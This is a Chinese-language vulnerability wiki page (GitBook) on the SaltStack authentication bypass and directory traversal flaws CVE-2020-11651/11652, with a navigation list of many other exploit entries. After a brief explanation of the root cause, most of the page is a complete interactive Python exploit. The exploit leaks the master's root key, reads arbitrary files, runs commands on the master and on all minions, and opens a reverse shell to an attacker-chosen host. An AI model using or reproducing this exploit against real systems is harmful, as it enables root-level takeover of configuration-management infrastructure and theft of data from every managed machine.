💻
neutron
  • Web服务器漏洞
  • test
    • Web 服务器漏洞
      • Weblogic
        • WeblogicScanner 漏洞扫描
        • CVE-2018-2628
        • CVE-2017-3506
        • CVE-2017-3248
        • CVE-2016-0638
        • CVE-2015-4852 Commons Collections
        • Weblogic SSRF漏洞 CVE-2014-4210
        • Weblogic XMLDecoder 远程代码执行漏洞 CVE-2017-10271
        • Weblogic LDAP 远程代码执行漏洞 CVE-2021-2109
        • Weblogic 反序列化远程代码执行漏洞 CVE-2019-2725
      • Nginx
        • Nginx越界读取缓存漏洞 CVE-2017-7529
      • Apache
        • Apache Struts2
          • About Apache Struts2
          • Struts2-Scan 漏洞验证
        • Apache Mod_jk
          • Apache Mod_jk 访问控制权限绕过 CVE-2018-11759
        • Apache Tomcat
          • Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
          • Aapache Tomcat AJP 文件包含漏洞 CVE-2020-1938
          • Apache Tomcat WebSocket 拒绝服务漏洞 CVE-2020-13935
        • Apache Shiro
          • Apache Shiro <=1.2.4反序列化漏洞 CVE-2016-4437
        • Apache Cocoon
          • Apache Cocoon XML注入 CVE-2020-11991
        • Apache Flink
          • Apache Flink <= 1.9.1(最新版本) 远程代码执行 CVE-2020-17518
          • Apache Flink 目录遍历漏洞 CVE-2020-17519
        • Apache Kylin
          • Apache Kylin Console 控制台弱口令
          • Apache Kylin的未授权配置泄露 CVE-2020-13937
          • Apache Kylin 命令注入漏洞 CVE-2020-1956
          • Apache Kylin 命令注入漏洞 CVE-2020-13925
        • Apache Solr
          • Apache Solr RCE 远程执行漏洞 CVE-2017-12629
          • Apache Solr XXE 漏洞 CVE-2017-12629
          • Apache Solr 远程执行漏洞 CVE-2019-0193
          • Apache Solr Velocity模板远程执行 CVE-2019-17558
          • Apache Solr JMX服务 RCE CVE-2019-12409
          • Apache Solr RCE 未授权上传漏洞 CVE-2020-13957
          • Apache Solr 任意文件读取漏洞
        • Apache HTTPd
          • Apache HTTPd 换行解析漏洞 CVE-2017-15715
        • Apache ActiveMQ
          • Apache ActiveMQ Console 存在默认弱口令
          • Apache ActiveMQ 反序列化漏洞 CVE-2015-5254
        • Apache ZooKeeper
          • Apache ZooKeeper 未授权访问漏洞 CVE-2014-085
        • Apache Druid
          • Apache Druid 远程代码执行漏洞 CVE-2021-25646
        • Apache OFBiz
          • Apache OFBiz rmi反序列化漏洞 CVE-2021-26295
        • Apache Zeppelin
          • Apache Zeppelin 未授权任意命令执行漏洞
      • JBoss
        • JBoss 4.x JBossMQ JMS 反序列化漏洞 CVE-2017-7504
        • 扫描工具JexBoss - JBoss
    • 服务器应用漏洞
      • jenkins
        • CVE-2019-1003005 远程代码执行
        • CVE-2019-1003000 远程代码执行
        • CVE-2018-1000600 Jenkins GitHub 信息泄露
        • CVE-2018-1999002 任意文件读取
        • CVE-2018-1000861 远程命令执行
        • CVE-2018-1000110 用户枚举
        • CVE-2017-1000353 Jenkins-CI 远程代码执行
        • CVE-2016-9299 代码执行
        • CVE-2016-0792 低权限用户命令执行
        • CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
        • CVE-2015-8103 反序列化远程代码执行
      • Redis
        • Redis <= 5.0.5 主从复制 RCE
      • OpenSSL
        • OpenSSL 心脏滴血漏洞 CVE-2014-0160
      • OpenSSH
        • OpenSSH 命令注入漏洞 CVE-2020-15778
      • Elasticsearch
        • Elasticsearch 未授权访问
      • Git
        • Git-LFS 远程命令执行漏洞 CVE-2020-27955
        • Git for Visual Studio远程执行代码漏洞 CVE-2021-21300
      • MicrosoftExchange
        • Microsoft Exchange SSRF漏洞 CVE-2021-26885
        • Microsoft Exchange 远程命令执行 CVE-2021-26855/26857/26858/27065
      • NVIDIA
        • NVIDIA GPU显示驱动程序 信息泄露 CVE-2021-1056
      • QEMU
        • (待定)QEMU 虚拟机逃逸漏洞 CVE-2020-14364
      • Chrome
        • Chrome 远程命令执行漏洞
      • Saltstack
        • Saltstack 远程命令执行漏洞 CVE-2020-11651/11652
        • SaltStack 未授权访问命令执行漏洞 CVE-2020-16846/25592
      • MinIO
        • MinIO SSRF漏洞 CVE-2021-21287
      • VMware
        • VMware vRealize Operations Manager SSRF漏洞 CVE-2021-21975
        • VMware vCenter任意文件读取漏洞
      • VoIPmonitor
        • VoIPmonitor 远程命令执行漏洞 CVE-2021-30461
    • Web应用漏洞
      • 金山
        • 金山 V8 终端安全系统 pdf_maker.php 命令执行漏洞
        • 金山 V8 终端安全系统 任意文件读取漏洞
        • 金山 V8 终端安全系统 默认弱口令漏洞
      • 虚拟仿真实验室
        • 阿尔法科技 虚拟仿真实验室 未授权访问漏洞
      • 和信创天云
        • 和信创天云桌面系统 远程命令执行 RCE漏洞
      • 浪潮
        • 远程命令执行漏洞
        • 任意用户登录漏洞
        • 远程命令执行漏洞 CVE-2020-21224
      • 宝塔运维管理面板
        • 宝塔 phpmyadmin未授权访问漏洞
      • 齐治堡垒机
        • 任意用户登录漏洞
      • 思福迪堡垒机
        • 任意⽤户登录漏洞
      • 安天
        • 越权访问漏洞
      • 亿邮
        • 远程命令执行漏洞
      • 天擎
        • 前台SQL注入
        • 数据库信息泄露漏洞
      • 安美数字
        • 酒店宽带运营系统 server_ping.php 远程命令执行漏洞
      • 星锐蓝海
        • 蓝海卓越计费管理系统 debug.php 远程命令执行漏洞
        • 蓝海卓越计费管理系统 download.php 任意文件读取漏洞
      • 墨安
        • 默安 幻阵蜜罐未授权访问 RCE
      • 银澎云计算
        • 银澎云计算 好视通视频会议系统 任意文件下载
      • 实践教学平台
        • 杭州法源软件 公证实务教学软件 SQL注入漏洞
        • 杭州法源软件 法律知识数据库系统 后台XSS漏洞
        • 杭州法源软件 法律知识数据库系统 SQL注入漏洞
      • 心理测量平台
        • 安徽阳光心健 心理测量平台 目录遍历漏洞 CNVD-2021-01929
      • 久其软件
        • 久其财务报表 download.jsp 任意文件读取漏洞
      • 图创软件
        • 图创软件 图书馆站群管理系统 任意文件读取漏洞
      • 中新金盾
        • 中新金盾信息安全管理系统 默认超级管理员密码漏洞
      • 智慧校园管理系统
        • 智慧校园管理系统 前台任意文件上传漏洞
      • 若依(RuoYi)管理系统
        • 未授权访问
        • 后台任意文件读取
      • 深信服
        • 深信服EDR远程命令执行 CNVD-2020-46552
        • 深信服 SSL VPN 客户端远程文件下载
        • 深信服 日志中心 c.php 远程命令执行漏洞
        • 深信服 行为感知系统 c.php 远程命令执行漏洞
        • 深信服后台任意用户登陆漏洞
      • 天融信
        • 天融信负载均衡TopApp-LB任意登陆
        • 天融信负载均衡TopApp-LB enable_tool_debug.php 远程命令执行漏洞
        • 天融信负载均衡TopApp-LB命令执行漏洞
        • 天融信负载均衡TopApp-LB Sql注入漏洞
        • 天融信LDP未授权访问漏洞
      • 中创视讯
        • 会捷通云视讯 list 目录文件泄露漏洞
        • 会捷通云视讯 fileDownload 任意文件读取漏洞
        • 会捷通云视讯 登录绕过漏洞
      • 亿赛通
        • 亿赛通 电子文档安全管理系统 dataimport 远程命令执行漏洞
      • 极通EWEBS
        • (待定)极通EWEBS testweb.php 敏感信息泄露漏洞
        • 极通EWEBS casmain.xgi 任意文件读取漏洞
      • 汉王科技
        • 汉王人脸考勤管理系统 Check SQL注入漏洞
      • 1039家校通
        • 1039家校通 万能密码绕过 CNVD-2020-31494
        • 1039家校通 后台任意文件上传漏洞
      • TerraMaster
        • TerraMaster TOS RCE CVE-2020-28188
        • TerraMaster TOS 后台任意文件读取漏洞 CVE-2020-28187
        • TerraMaster TOS 任意账号密码修改漏洞 CVE-2020-28186
        • TerraMaster TOS 用户枚举漏洞 CVE-2020-28185
        • (待定)TerraMaster TOS exportUser.php 远程命令执行
      • Panabit
        • Panabit iXCache ajax_cmd 后台命令执行漏洞
        • Panabit Panalog cmdhandle.php 后台命令执行漏洞
        • Panabit 智能应用网关 ajax_top 后台命令执行漏洞
      • E-massage
        • E-message 越权访问漏洞
      • TamronOS
        • TamronOS IPTV系统 submit 任意用户创建漏洞
        • TamronOS IPTV系统 ping 任意命令执行漏洞
      • Node-RED
        • Node-RED ui_base 任意文件读取漏洞
      • JD-FreeFuck
        • JD-FreeFuck 后台命令执行漏洞
      • H3C
        • H3C SecParh堡垒机 get_detail_view.php 任意用户登录漏洞
        • H3C SecParh堡垒机 data_provider.php 远程命令执行漏洞
        • H3C IMC dynamiccontent.properties.xhtm 存在远程命令执行
      • MessageSolution
        • MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543
      • Jupyter Notebook
        • Jupyter Notebook 未授权访问远程命令执行漏洞
      • iceWrap
        • IceWarp WebClient basic 远程命令执行漏洞
      • ICEFlow
        • ICEFlow VPN 信息泄露漏洞
      • Atlassian Jira
        • Atlassian Jira 信息泄露漏洞 CVE-2020-14181
      • Alibaba Nacos
        • Alibaba Nacos 控制台默认弱口令
        • Alibaba Nacos 未授权访问漏洞
      • Active UC
        • Active UC index.action 远程命令执行漏洞
      • Alibaba Canal
        • Alibaba Canal config 云密钥信息泄露漏洞
      • ShowDoc
        • ShowDoc 任意文件上传漏洞
      • Seo-Panel
        • Seo-Panel 4.8.0 反射型XSS漏洞 CVE-2021-3002
      • SonarQube
        • SonarQube api 信息泄露漏洞 CVE-2020-27986
      • IBOS
        • IBOS 数据库模块 任意文件上传漏洞
      • Nexus
        • Nexus Repository Manger extdirect 远程命令执行 CVE-2019-7238
        • Nexus Repository Manger group 后台远程命令执行 CVE-2020-10199
        • (待定)Nexus Repository Manger group 后台远程命令执行 CVE-2020-10204
        • Nexus Repository Manger change-password 低权限修改管理员密码漏洞 CVE-2020-11444
      • Hue
        • Hue 后台编辑器命令执行漏洞
      • Coremail
        • Coremail 配置信息泄露漏洞
      • Critix XenMobile
        • Citrix XenMobile 任意文件读取 CVE-2020-8209
      • Lanproxy
        • Lanproxy 目录遍历漏洞 CVE-2021-3019
      • JumpServer堡垒机
        • JumpServer 未授权接口 远程命令执行漏洞
      • F5 BIG-IP
        • F5 BIG-IP 远程代码执行漏洞 CVE-2021-22986
        • F5 BIG-IP 远程代码执行漏洞 CVE-2020-5902
      • OneBlog
        • OneBlog 小于v2.2.1 远程命令执行漏洞
      • Jellyfin
        • Jellyfin 任意文件读取漏洞 CVE-2021-21402
      • GitLab
        • GitLab Graphql邮箱信息泄露漏洞 CVE-2020-26413
        • GitLab SSRF漏洞 CVE-2021-22214
      • XXL-JOB
        • XXL-JOB 任务调度中心 后台任意命令执行漏洞
        • XXL-JOB 任务调度中心 后台默认弱口令
    • 开发框架漏洞
      • fastjson
        • 1.2.24-RCE
        • 1.2.41-68 RCE
      • jQuery
        • jQuery XSS漏洞 CVE-2020-11022/11023
      • Hibernate
      • Liferay
        • Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129
        • Laravel .env 配置文件泄露 CVE-2017-16894
      • Yii
      • Spring Boot
        • 0x02:spring cloud SnakeYAML RCE
        • 0x01:whitelabel error page SpEL RCE
      • Struts
      • Laravel
        • Laravel <= 8.4.2 Debug模式 _ignition 远程代码执行漏洞 CVE-2021-3129
        • Laravel .env 配置文件泄露 CVE-2017-16894
      • PHPUnit
        • PHPUnit eval-stdin.php 远程命令执行漏洞 CVE-2017-9841
      • Thinkphp
    • 开发语言漏洞
      • PHP zerodium后门漏洞
    • OA产品漏洞
      • 新点OA
        • 新点OA 敏感信息泄露漏洞
      • 启莱OA
        • 启莱OA messageurl.aspx SQL注入漏洞
        • 启莱OA treelist.aspx SQL注入漏洞
        • 启莱OA CloseMsg.aspx SQL注入漏洞
      • 蓝凌OA
        • 蓝凌OA EKP 后台SQL注入漏洞 CNVD-2021-01363
        • 蓝凌OA 任意文件写入漏洞
        • 蓝凌OA custom.jsp 任意文件读取漏洞
        • 蓝凌OA SSRF+JNDI远程命令执行
      • 金和OA
        • 金和OA C6 管理员默认口令
        • 金和OA C6 越权信息泄露漏洞
        • 金和OA C6 后台越权敏感文件遍历漏洞
        • 金和OA C6 download.jsp 任意文件读取漏洞
      • 泛微OA
        • 泛微云桥 e-Bridge 任意文件读取
        • 泛微OA Bsh 远程代码执行漏洞 CNVD-2019-32204
        • 泛微E-Cology WorkflowServiceXml RCE
        • 泛微OA WorkflowCenterTreeData接口SQL注入(仅限oracle数据库) CNVD-2019-34241
        • 泛微OA e-cology 数据库配置信息泄漏漏洞
        • 泛微OA sysinterface/codeEdit.jsp 页面任意文件上传 WooYun-2015-0155705
        • 泛微OA V9 任意文件上传
        • 泛微OA V8 SQL注入漏洞
      • 通达OA
        • 通达OA部分漏洞信息整合
        • 通达OA v11.2后台任意文件上传漏洞
        • 通达OA v11.x-v11.5任意用户登录
        • 通达OA v11.6 任意文件删除&RCE
        • 通达OA v11.7后台SQL注入
        • 通达OA v11.7 在线用户登录漏洞
        • 通达OA v11.8 后台文件包含存储型XSS漏洞
        • 通达OA v11.8 后台文件包含命令执行漏洞
        • 通达OA v11.9 后台SQL注入漏洞
      • 用友OA
        • 用友GRP-U8行政事业财务管理软件 SQL注入 CNNVD-201610-923
        • 用友 NC 反序列化RCE漏洞
        • 用友 NC XbrlPersistenceServlet反序列化
        • 用友 NC bsh.servlet.BshServlet 远程命令执行漏洞
        • 用友ERP-NC 目录遍历漏洞
        • 用友 U8 OA test.jsp SQL注入漏洞
        • 用友 NCCloud FS文件管理SQL注入
      • 致远OA
        • 致远OA A6 createMysql.jsp 数据库敏感信息泄露
        • 致远OA A6 DownExcelBeanServlet 用户敏感信息泄露
        • 致远OA A6 initDataAssess.jsp 用户敏感信息泄露
        • 致远OA A6 test.jsp SQL注入漏洞
        • 致远OA A6 setextno.jsp SQL注入漏洞
        • (待定)致远OA A8 状态监控页面信息泄露
        • 致远 OA A8 htmlofficeservlet RCE漏洞 CNVD-2019-19299
        • 致远OA getSessionList.jsp Session泄漏漏洞
        • 致远OA Session泄露 任意文件上传漏洞
        • 致远OA ajax.do登录绕过 任意文件上传 CNVD-2021-01627
        • 致远OA webmail.do任意文件下载 CNVD-2020-62422
      • 帆软OA
        • 帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757
        • 帆软 V9 任意文件覆盖文件上传
        • 帆软报表 2012 SSRF漏洞
        • 帆软报表 2012 信息泄露漏洞
      • 金蝶OA
        • 金蝶OA server_file 目录遍历漏洞
    • CMS漏洞
      • (待定)Drupal
      • Weiphp
        • Weiphp5.0 任意用户Cookie伪造 CNVD-2021-09693
        • Weiphp5.0 前台文件任意读取 CNVD-2020-68596
      • Discuz!X
        • Discuz!X <3.4 R20191201 后台SQL注入漏洞
      • ShopXO
        • ShopXO download 任意文件读取漏洞 CNVD-2021-15822
      • OpenSNS
        • OpenSNS shareBox 远程命令执行漏洞
      • Typesetter
        • Typesetter CMS 5-5.1 任意文件上传
      • YzmCMS
        • YzmCMS version < V5.8正式版 后台采集模块 SSRF漏洞
      • ezEIP
        • ezEIP 4.1.0 信息泄露漏洞
      • OKLite
        • OKLite 1.2.25 后台风格模块 任意文件删除 CVE-2019-16132
        • OKLite 1.2.25 后台插件安装 任意文件上传
        • OKLite 1.2.25 后台模块导入 任意文件上传 CVE-2019-16131
      • BSPHP
        • BSPHP 未授权访问 信息泄露漏洞
      • DocCMS
        • DocCMS keyword SQL注入漏洞
      • PbootCMS
        • PbootCMS ext_price SQL注入漏洞
        • PbootCMS search SQL注入漏洞
      • 发货100
        • 发货100 M_id SQL注入漏洞 CNVD-2021-30193
      • 极致CMS
        • 极致CMS 1.81以下版本 存储型XSS
        • 极致CMS_1.71_1.7_1.67版本sql注入(支付插件)
        • 极致CMS_全版本任意文件(后台)
      • 华宜互联CMS
        • 华宜互联CMS默认存在超级管理员漏洞
      • 禅道
        • 禅道 11.6版本 SQL注入漏洞
        • 禅道 11.6版本 任意文件读取漏洞
        • 禅道 11.6版本 任意文件读取漏洞
        • 禅道 小于12.4.2 文件上传漏洞 CNVD-C-2020-121325
        • 禅道 小于12.4.2 CSRF漏洞
      • 快排CMS
        • 快排CMS 信息泄露漏洞
        • 快排CMS 后台XSS漏洞
        • 快排CMS 任意文件上传漏洞
      • 狮子鱼CMS
        • 狮子鱼CMS wxapp.php 任意文件上传漏洞
        • 狮子鱼CMS image_upload.php 任意文件上传
        • 狮子鱼CMS ApigoodsController.class.php SQL注入漏洞
        • 狮子鱼CMS ApiController.class.php SQL注入漏洞
      • 原创先锋
        • 原创先锋 后台管理平台 未授权访问漏洞
    • 操作系统漏洞
      • Windows
      • Linux
        • Linux kernel权限提升漏洞 CVE-2021-3493
        • Linux sudo权限提升漏洞 CVE-2021-3156
    • 网络设备漏洞
      • 中国移动
        • 中国移动 禹路由 simple-index.asp 越权访问漏洞
        • 中国移动 禹路由 ExportSettings.sh 敏感信息泄露漏洞
      • 磊科
        • 磊科 NI360路由器 认证绕过漏洞
      • 碧海威
        • 碧海威 L7多款产品 后台命令执行漏洞
      • 宏电
        • 宏电 H8922 后台任意文件读取漏洞 CVE-2021-28152
        • 宏电 H8922 后台管理员信息泄露漏洞 CVE-2021-28151
        • 宏电 H8922 后台命令执行漏洞 CVE-2021-28150
        • 宏电 H8922 Telnet后门漏洞 CVE-2021-28149
      • 电信
        • 电信网关配置管理系统 SQL注入漏洞
        • 电信中兴ZXHN F450A网关 默认管理员账号密码漏洞
        • 电信天翼网关F460 web_shell_cmd.gch 远程命令执行漏洞
      • 锐捷
        • 锐捷ISG 账号密码泄露漏洞
        • 锐捷NBR 1300G路由器 越权CLI命令执行漏洞
        • 锐捷EG易网关 download.php 后台任意文件读取漏洞
        • (待定)锐捷EG易网关 branch_passw.php 远程命令执行漏洞
        • 锐捷EG易网关 管理员账号密码泄露漏洞
        • 锐捷EG易网关 cli.php 远程命令执行漏洞
        • 锐捷云课堂主机 目录遍历漏洞
        • 锐捷Smartweb管理系统 密码信息泄露漏洞
        • 锐捷Smartweb管理系统 默认开启Guest账户漏洞 CNVD-2020-56167
        • 锐捷SSL VPN 越权访问漏洞
        • 锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露 CNVD-2021-14536
        • 锐捷NBR路由器 EWEB网管系统 远程命令执行漏洞 CNVD-2021-09650
      • 迈普
        • 迈普 ISG1000安全网关 任意文件下载漏洞
      • 佑友
        • 佑友防火墙 后台命令执行漏洞
      • 华为
        • Huawei HG659 lib 任意文件读取漏洞
      • 启明星辰
        • 启明星辰 天清汉马USG防火墙 逻辑缺陷漏洞
        • 启明星辰 天清汉马USG防火墙 弱口令漏洞
      • 飞鱼星
        • 飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞
        • 飞鱼星 家用智能路由 cookie.cgi 权限绕过
      • 三星
        • 三星 WLAN AP WEA453e路由器 远程命令执行漏洞
      • 朗视
        • 朗视 TG400 GSM 网关目录遍历 CVE-2021-27328
      • 菲力尔
        • FLIR-AX8 download.php 任意文件下载
      • 中科网威
        • 中科网威 下一代防火墙控制系统 账号密码泄露漏洞
      • 蜂网互联
        • 蜂网互联 企业级路由器v4.31 密码泄露漏洞 CVE-2019-16313
      • TVT数码科技
        • TVT数码科技 NVMS-1000 路径遍历漏洞
      • Intelbras
        • Intelbras Wireless 未授权与密码泄露 CVE-2021-3017
      • DrayTek
        • DrayTek企业网络设备 远程命令执行 CVE-2020-8515
      • ACTI
        • ACTI 视频监控 任意文件读取漏洞
      • DVR
        • DVR 登录绕过漏洞 CVE-2018-9995
      • TP-Link
        • TP-Link SR20 远程命令执行
      • Kyan
        • Kyan 网络监控设备 run.php 远程命令执行漏洞
        • Kyan 网络监控设备 账号密码泄露漏洞
      • Cisco
        • Cisco HyperFlex HX upload 任意文件上传漏洞 CVE-2021-1499
        • Cisco HyperFlex HX storfs-asup 远程命令执行漏洞 CVE-2021-1497
        • CISCO ASA设备任意文件删除漏洞 CVE-2020-3187
        • (待定)CISCO ASA设备任意文件读取漏洞 CVE-2020-3452
      • Zyxel
        • Zyxel NBG2105 身份验证绕过 CVE-2021-3297
        • Zyxel 硬编码后门账户漏洞 CVE-2020-29583
      • SonicWall
        • SonicWall SSL-VPN 远程命令执行漏洞
      • KEDACOM
        • KEDACOM 数字系统接入网关 任意文件读取漏洞
      • H3C
        • (待定)H3C HG659 lib 任意文件读取
        • H3C SecPath 下一代防火墙 任意文件下载漏洞
      • rConfig
        • rConfig ajaxArchiveFiles.php 后台远程命令执行漏洞
        • rConfig userprocess.php 任意用户创建漏洞
        • (待定)rConfig ajaxEditTemplate.php 后台远程命令执行漏洞
        • rConfig useradmin.inc.php 信息泄露漏洞
      • D-Link
        • D-Link DSR-250N 万能密码漏洞
        • D-Link ShareCenter DNS-320 system_mgr.cgi 远程命令执行漏洞
        • D-Link DCS系列监控 账号密码信息泄露漏洞 CVE-2020-25078
        • D-Link AC管理系统默认账号密码
        • D-Link Dir-645 getcfg.php 账号密码泄露漏洞 CVE-2019-17506
        • D-Link DSL-28881A 信息泄露 CVE-2020-24577
        • D-Link DSL-28881A FTP配置错误 CVE-2020-24578
        • D-Link DSL-28881A 未授权访问 CVE-2020-24579
        • D-Link DSL-28881A 远程命令执行 CVE-2020-24581
      • HIKVISION
        • HIKVISION 流媒体管理服务器 后台任意文件读取漏洞 CNVD-2021-14544
        • HIKVISION 视频编码设备接入网关 任意文件下载
      • Sapido
        • Sapido多款路由器命令执行漏洞
      • iKuai
        • iKuai 流控路由 SQL注入漏洞
      • ZeroShell
        • ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
      • JCG
        • JCG JHR-N835R 后台命令执行漏洞
      • DD-WRT
        • DD-WRT UPNP缓冲区溢出漏洞 CVE-2021-27137
      • MagicFlow
        • MagicFlow 防火墙网关 main.xp 任意文件读取漏洞
      • WayOS
        • Wayos 防火墙 后台命令执行漏洞
        • Wayos 防火墙 账号密码泄露漏洞
        • Wayos AC集中管理系统默认弱口令 CNVD-2021-00876
  • PHP代码审计
    • PHP函数缺陷和安全问题
    • 审计总结
    • PHP自动化代码审计技术
  • 内网渗透
    • 浅谈几个 Windows 错误配置利用的方法
    • dnscat2 使用
    • SSH 隧道使用学习
    • 两种突破内网中无法上传大文件的方法
    • 密码抓取
    • 域内主机端口探测总结
    • 域内主机存活探测总结
    • 破解与执行
    • 提权&获得令牌
    • 漏洞发现&组策略凭证
    • 内网穿透工具
    • 工具原理及使用
    • 基础概念及信息收集
  • Android
    • Untitled
    • Untitled
  • CS工具使用
    • Untitled
    • Untitled
    • Untitled
    • Untitled
    • Untitled
  • 提权
    • Linux提权
    • Windows提权
  • 信息收集
Powered by GitBook
On this page
  • 漏洞描述
  • 漏洞影响
  • 环境搭建
  • 漏洞复现
  • 漏洞利用POC
  • 参考文章

Was this helpful?

  1. test
  2. 服务器应用漏洞
  3. Saltstack

Saltstack 远程命令执行漏洞 CVE-2020-11651/11652

PreviousSaltstackNextSaltStack 未授权访问命令执行漏洞 CVE-2020-16846/25592

Last updated 3 years ago

Was this helpful?

漏洞描述

SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。国外某安全团队披露了 SaltStack 存在认证绕过漏洞(CVE-2020-11651)和目录遍历漏洞(CVE-2020-11652)。

在 CVE-2020-11651 认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过 Salt Master 的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。

在 CVE-2020-11652 目录遍历漏洞中,攻击者通过构造恶意请求,可以读取、写入服务器上任意文件。

漏洞影响

SaltStack Version < 2019.2.4

SaltStack Version < 3000.2

环境搭建

git clone cd vulhub/saltstack/CVE-2020-11652 docker-compose up -d

漏洞复现

salt-master普遍使用这两行代码进行认证,其中clear_load是可控输入点。

auth_type, err_name, key, sensitive_load_keys = self._prep_auth_info(clear_load)
auth_check = self.loadauth.check_authentication(clear_load, auth_type, key=key)

_prep_auth_info首先会识别clear_load输入的字段并选用其中之一作为认证方式,然后传参到check_authentication方法检验认证是否有效。

在第三种认证方式auth_type=='user'中,会由_prep_auth_info获取到系统opt的key,传递到check_authentication中和API参数中携带的key进行==比对。

理论上_prep_auth_info是不可被外部调用的,漏洞成因即是攻击者通过匿名API直接调用_prep_auth_info方法,在回显中拿到self.key,并在后续的请求中使用获取到的key过验证,以root权限执行高危指令。

Mworker daemon进程处理API请求:

class MWorker(salt.utils.process.SignalHandlingProcess):
    """
    The worker multiprocess instance to manage the backend operations for the
    salt master.
    """

其中 _handle_clear & _handle_aes 函数分别处理明文和加密指令:

在这里,self._clear_funcs 是 class ClearFuncs 的实例,在这里API访问者可以无认证调用任意的类函数。

class ClearFuncs(TransportMethods):
    """
    Set up functions that are safe to execute when commands sent to the master
    without encryption and authentication
    """

ClearFuncs._prep_auth_info()将self.key返回给API造成泄露。攻击者可先通过这一方法拿到key,然后通过认证接口下发shell指令。

之前存在漏洞的代码中仅过滤掉__开头的private方法,导致_prep_auth_info泄露,patch中对clearfuncs和aesfuncs两个类添加了expose白名单过滤:

这里使用 POC 来复线

读取文件 /etc/passwd

反弹shell(这里使用另一个POC)

漏洞利用POC

# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime

import salt
import salt.version
import salt.transport.client
import salt.exceptions

DEBUG = False


def init_minion(master_ip, master_port):
    minion_config = {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')


def check_salt_version():
    print("[+] Salt 版本: {}".format(salt.version.__version__))

    vi = salt.version.__version_info__

    if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
        return True
    else:
        return False


def check_connection(master_ip, master_port, channel):
    print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
    sys.stdout.flush()
    try:
        channel.send({'cmd': 'ping'}, timeout=2)
        print('\033[1;32m可以连接\033[0m')
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;31m无法连接\033[0m")
        sys.exit(1)


def check_CVE_2020_11651(channel):
    sys.stdout.flush()
    # try to evil
    try:
        rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
    except salt.exceptions.SaltReqTimeoutError:
        print("\033[1;32m不存在漏洞\033[0m")
    except:
        print("\033[1;32m未知错误\033[0m")
        raise
    else:
        pass
    finally:
        if rets:
            root_key = rets[2]['root']
            print("\033[1;31m存在漏洞\033[0m")
            return root_key

    return None


def pwn_read_file(channel, root_key, path, master_ip):
    # print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets = channel.send(msg, timeout=3)
    print(rets['data']['return'][0][path])



def pwn_getshell(channel, root_key, LHOST, LPORT):
    msg = {"key": root_key,
           "cmd": "runner",
           'fun': 'salt.cmd',
           "kwarg": {
               "fun": "cmd.exec_code",
               "lang": "python3",
               "code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{}\",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);".format(
                   LHOST, LPORT)
           },
           'jid': '20200504042611133934',
           'user': 'sudo_user',
           '_stamp': '2020-05-04T04:26:13.609688'}

    try:
        response = channel.send(msg, timeout=3)
        print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
        return True
    except:
        print("something failed")
        return False


def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
    if master_or_minions == "master":
        msg = {"key": root_key,
               "cmd": "runner",
               'fun': 'salt.cmd',
               "kwarg": {
                   "fun": "cmd.exec_code",
                   "lang": "python3",
                   "code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
               },
               'jid': '20200504042611133934',
               'user': 'sudo_user',
               '_stamp': '2020-05-04T04:26:13.609688'}

        try:
            response = channel.send(msg, timeout=3)
            print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
            return True
        except:
            print("something failed")
            return False

    if master_or_minions == "minions":
        print("Sending command to all minions on master")
        jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
        cmd = "/bin/sh -c '{0}'".format(exec_cmd)

        msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
               "user": "root", "jid": jid}

        try:
            response = channel.send(msg, timeout=3)
            if response == None:
                return True
            else:
                return False
        except:
            return False


#####################################

master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
    root_key = check_CVE_2020_11651(channel)
except:
    pass
while master_ip!='':
    print('1.测试POC  2.读取文件  3.执行命令(无回显)  4.反弹shell  5.退出')

    whattype=input('请选择:')
    if whattype=='1':
        check_salt_version()  # 检查salt版本
        check_connection(master_ip, master_port, channel)  # 检查连接
        root_key = check_CVE_2020_11651(channel)  # 读取root key
        print(root_key)
    elif whattype=='2':
        path = input('读取路径:')
        try:
            pwn_read_file(channel, root_key, path, master_ip)  # 读取文件
        except:
            print('文件不存在')
    elif whattype=='3':
        print('1.master   2.minions')
        exectype = input('选择方式:')
        if exectype=='1':
            master_or_minions='master'
        elif exectype=='2':
            master_or_minions = 'minions'
        exec_cmd = input('输入命令:')
        pwn_exec(channel, root_key, exec_cmd, master_or_minions)  # 执行命令
    elif whattype=='4':
        LHOST = input('反弹到IP:')
        LPORT = input('反弹端口:')
        pwn_getshell(channel, root_key, LHOST, LPORT)  # 反弹shell
    elif whattype=='5':
        exit()
#!/usr/bin/env python
#
